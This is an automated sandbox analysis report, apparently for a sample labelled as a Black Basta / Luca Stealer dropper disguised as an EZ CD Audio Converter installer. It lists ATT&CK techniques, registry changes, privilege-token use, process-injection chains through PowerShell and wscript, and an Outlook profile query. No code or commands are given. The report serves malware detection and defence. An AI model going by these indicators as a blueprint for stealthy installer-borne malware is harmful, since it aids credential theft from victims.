Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gtunb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIA5CD.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Io.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Caphyon\Advanced Installer	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{583A6AD7-D6C6-4313-9F6A-1140BE7D27BC}\C:\ProgramData\regid.1995-09.com.example\regid.1995-09.com.example_20b5b899-25ba-4754-96c3-54f90f9645d7.swidtag = "*"	MsiExec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{583A6AD7-D6C6-4313-9F6A-1140BE7D27BC}\C:\Program Files (x86)\EZ CD Audio Converter\EZ CD Audio Converter\regid.1995-09.com.example_20b5b899-25ba-4754-96c3-54f90f9645d7.swidtag = "*"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{6456B7DE-AB6A-4D88-9A4A-A12FFA694708}	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{6456B7DE-AB6A-4D88-9A4A-A12FFA694708}\C:\ProgramData\regid.1995-09.com.example\regid.1995-09.com.example_29142d5d-db26-4c45-9f96-5e3944472849.swidtag = "*"	MsiExec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{6456B7DE-AB6A-4D88-9A4A-A12FFA694708}\C:\Program Files (x86)\EZ CD Audio Converter\EZ CD Audio Converter\regid.1995-09.com.example_29142d5d-db26-4c45-9f96-5e3944472849.swidtag = "*"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{583A6AD7-D6C6-4313-9F6A-1140BE7D27BC}	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Caphyon	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ezcd.AutoPlay\shell\EmptyCD\command\ = "\"C:\\Program Files\\EZ CD Audio Converter\\ezcd.exe\" -nn"	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E46D6DC6-9707-43a9-BDBB-0BDBDD096F90}\ = "EzCd Class"	register64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F91}\1.0\FLAGS	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F92}\ = "IEzCd"	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5EB55958-633B-B502-6AF3-56089298885B}\InprocServer32\ = "C:\\Windows\\System32\\mscoree.dll"	ezcd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Roaming\\EZ CD Audio Converter\\EZ CD Audio Converter 12.0.1.1\\install\\E7D27BC\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ezcd.AutoPlay\shell\AudioCD\ = "Rip audio CD"	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ezcd.AutoPlay\shell\EmptyCD\command	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E46D6DC6-9707-43a9-BDBB-0BDBDD096F90}\TypeLib	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EzCd\ = "{E46D6DC6-9707-43a9-BDBB-0BDBDD096F90}"	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5EB55958-633B-B502-6AF3-56089298885B}\ProgId\ = "System.ObsoleteAttribute"	ezcd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F92}\ProxyStubClsid32	register64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\8DD436A7DD74F054CBC5662268696EB0	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\Version = "201326593"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\931A48B9DD80DBF4AAF66144935235A5	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\SourceList\Media\1 = "Disk1;Disk1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\SourceList\PackageName = "setup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ezcd.AutoPlay\DefaultIcon\ = "\"C:\\Program Files\\EZ CD Audio Converter\\ezcd.exe\",0"	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\EzCd.EzCd	register64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\EzCd.EzCd\CurVer	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F92}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5EB55958-633B-B502-6AF3-56089298885B}\InprocServer32\Class = "System.ObsoleteAttribute"	ezcd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\EzCd.EzCd.1	register64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E46D6DC6-9707-43a9-BDBB-0BDBDD096F90}	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\SourceList\PackageName = "Setup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\ED7B6546A6BA88D4A9A41AF2AF967480	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\931A48B9DD80DBF4AAF66144935235A5\ED7B6546A6BA88D4A9A41AF2AF967480	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EzCd\ = "{E46D6DC6-9707-43a9-BDBB-0BDBDD096F90}"	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F92}\TypeLib\Version = "1.0"	register64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\Version = "201326593"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\ProductName = "EZ CD Audio Converter"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5EB55958-633B-B502-6AF3-56089298885B}\InprocServer32	ezcd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F91}\1.0	register64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F92}\TypeLib	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5EB55958-633B-B502-6AF3-56089298885B}\InprocServer32\Assembly = "mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"	ezcd.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	ezcd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F92}\TypeLib\ = "{E46D6DC6-9707-43A9-BDBB-0BDBDD096F91}"	register64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F91}\1.0\HELPDIR\ = "C:\\Program Files\\EZ CD Audio Converter"	register64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ezcd.AutoPlay\ = "EZ CD Audio Converter"	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\EzCd.EzCd\ = "EzCd Class"	register64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E46D6DC6-9707-43a9-BDBB-0BDBDD096F90}\TypeLib\ = "{E46D6DC6-9707-43a9-BDBB-0BDBDD096F91}"	register64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F91}\1.0\0\win64	register64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F92}	register64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7DA6A3856C6D3134F9A61104EBD772CB\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED7B6546A6BA88D4A9A41AF2AF967480\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ezcd.AutoPlay\shell\AudioCD\command\ = "\"C:\\Program Files\\EZ CD Audio Converter\\ezcd.exe\" -nn"	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\EzCd.EzCd\CLSID\ = "{E46D6DC6-9707-43a9-BDBB-0BDBDD096F90}"	register64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EzCd	register64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E46D6DC6-9707-43A9-BDBB-0BDBDD096F91}	register64.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
2804	msiexec.exe
2804	msiexec.exe
2804	msiexec.exe
2804	msiexec.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
5772	powershell.exe
5772	powershell.exe
5772	powershell.exe
5772	powershell.exe
4716	powershell.exe
4716	powershell.exe
4716	powershell.exe
6440	gtunb.exe
6440	gtunb.exe
5124	chrome.exe
5124	chrome.exe
6440	gtunb.exe
6440	gtunb.exe
6500	chrome.exe
6500	chrome.exe
6440	gtunb.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	2804	msiexec.exe
Token: SeCreateTokenPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeAssignPrimaryTokenPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeLockMemoryPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeIncreaseQuotaPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeMachineAccountPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeTcbPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSecurityPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeTakeOwnershipPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeLoadDriverPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSystemProfilePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSystemtimePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeProfSingleProcessPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeIncBasePriorityPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeCreatePagefilePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeCreatePermanentPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeBackupPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeRestorePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeShutdownPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeDebugPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeAuditPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSystemEnvironmentPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeChangeNotifyPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeRemoteShutdownPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeUndockPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSyncAgentPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeEnableDelegationPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeManageVolumePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeImpersonatePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeCreateGlobalPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeCreateTokenPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeAssignPrimaryTokenPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeLockMemoryPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeIncreaseQuotaPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeMachineAccountPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeTcbPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSecurityPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeTakeOwnershipPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeLoadDriverPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSystemProfilePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSystemtimePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeProfSingleProcessPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeIncBasePriorityPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeCreatePagefilePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeCreatePermanentPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeBackupPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeRestorePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeShutdownPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeDebugPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeAuditPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSystemEnvironmentPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeChangeNotifyPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeRemoteShutdownPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeUndockPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeSyncAgentPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeEnableDelegationPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeManageVolumePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeImpersonatePrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeCreateGlobalPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeCreateTokenPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeAssignPrimaryTokenPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeLockMemoryPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeIncreaseQuotaPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Token: SeMachineAccountPrivilege	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
4852	msiexec.exe
4852	msiexec.exe
2476	msiexec.exe
2476	msiexec.exe
5124	chrome.exe
5124	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2256	ezcd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 4840	2804	msiexec.exe	93
PID 2804 wrote to memory of 4840	2804	msiexec.exe	93
PID 2804 wrote to memory of 4840	2804	msiexec.exe	93
PID 4944 wrote to memory of 4852	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe	94
PID 4944 wrote to memory of 4852	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe	94
PID 4944 wrote to memory of 4852	4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe	94
PID 2804 wrote to memory of 404	2804	msiexec.exe	96
PID 2804 wrote to memory of 404	2804	msiexec.exe	96
PID 2804 wrote to memory of 404	2804	msiexec.exe	96
PID 2804 wrote to memory of 3768	2804	msiexec.exe	99
PID 2804 wrote to memory of 3768	2804	msiexec.exe	99
PID 2804 wrote to memory of 3768	2804	msiexec.exe	99
PID 2804 wrote to memory of 4188	2804	msiexec.exe	101
PID 2804 wrote to memory of 4188	2804	msiexec.exe	101
PID 2804 wrote to memory of 4188	2804	msiexec.exe	101
PID 3768 wrote to memory of 2476	3768	MSIA5CD.tmp	103
PID 3768 wrote to memory of 2476	3768	MSIA5CD.tmp	103
PID 3768 wrote to memory of 2476	3768	MSIA5CD.tmp	103
PID 2804 wrote to memory of 2620	2804	msiexec.exe	104
PID 2804 wrote to memory of 2620	2804	msiexec.exe	104
PID 2804 wrote to memory of 2620	2804	msiexec.exe	104
PID 2804 wrote to memory of 4336	2804	msiexec.exe	105
PID 2804 wrote to memory of 4336	2804	msiexec.exe	105
PID 2804 wrote to memory of 4336	2804	msiexec.exe	105
PID 2804 wrote to memory of 456	2804	msiexec.exe	106
PID 2804 wrote to memory of 456	2804	msiexec.exe	106
PID 2804 wrote to memory of 456	2804	msiexec.exe	106
PID 2804 wrote to memory of 4108	2804	msiexec.exe	107
PID 2804 wrote to memory of 4108	2804	msiexec.exe	107
PID 4108 wrote to memory of 872	4108	MSIB0D6.tmp	108
PID 4108 wrote to memory of 872	4108	MSIB0D6.tmp	108
PID 872 wrote to memory of 2708	872	cmd.exe	110
PID 872 wrote to memory of 2708	872	cmd.exe	110
PID 2708 wrote to memory of 4412	2708	powershell.exe	112
PID 2708 wrote to memory of 4412	2708	powershell.exe	112
PID 872 wrote to memory of 2060	872	cmd.exe	113
PID 872 wrote to memory of 2060	872	cmd.exe	113
PID 872 wrote to memory of 1132	872	cmd.exe	114
PID 872 wrote to memory of 1132	872	cmd.exe	114
PID 1132 wrote to memory of 5772	1132	wscript.exe	115
PID 1132 wrote to memory of 5772	1132	wscript.exe	115
PID 5772 wrote to memory of 4716	5772	powershell.exe	119
PID 5772 wrote to memory of 4716	5772	powershell.exe	119
PID 456 wrote to memory of 2712	456	ez_cd_audio_converter_setup_x64-12.0.1.1.exe	122
PID 456 wrote to memory of 2712	456	ez_cd_audio_converter_setup_x64-12.0.1.1.exe	122
PID 456 wrote to memory of 2256	456	ez_cd_audio_converter_setup_x64-12.0.1.1.exe	125
PID 456 wrote to memory of 2256	456	ez_cd_audio_converter_setup_x64-12.0.1.1.exe	125
PID 5772 wrote to memory of 4660	5772	powershell.exe	128
PID 5772 wrote to memory of 4660	5772	powershell.exe	128
PID 5772 wrote to memory of 4660	5772	powershell.exe	128
PID 4660 wrote to memory of 1040	4660	Io.exe	129
PID 4660 wrote to memory of 1040	4660	Io.exe	129
PID 4660 wrote to memory of 1040	4660	Io.exe	129
PID 4660 wrote to memory of 1040	4660	Io.exe	129
PID 4660 wrote to memory of 1040	4660	Io.exe	129
PID 4660 wrote to memory of 1040	4660	Io.exe	129
PID 4660 wrote to memory of 1040	4660	Io.exe	129
PID 4660 wrote to memory of 1040	4660	Io.exe	129
PID 6440 wrote to memory of 5124	6440	gtunb.exe	137
PID 6440 wrote to memory of 5124	6440	gtunb.exe	137
PID 5124 wrote to memory of 232	5124	chrome.exe	138
PID 5124 wrote to memory of 232	5124	chrome.exe	138
PID 5124 wrote to memory of 6500	5124	chrome.exe	139
PID 5124 wrote to memory of 6500	5124	chrome.exe	139

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe

outlook_win_path 1 IoCs

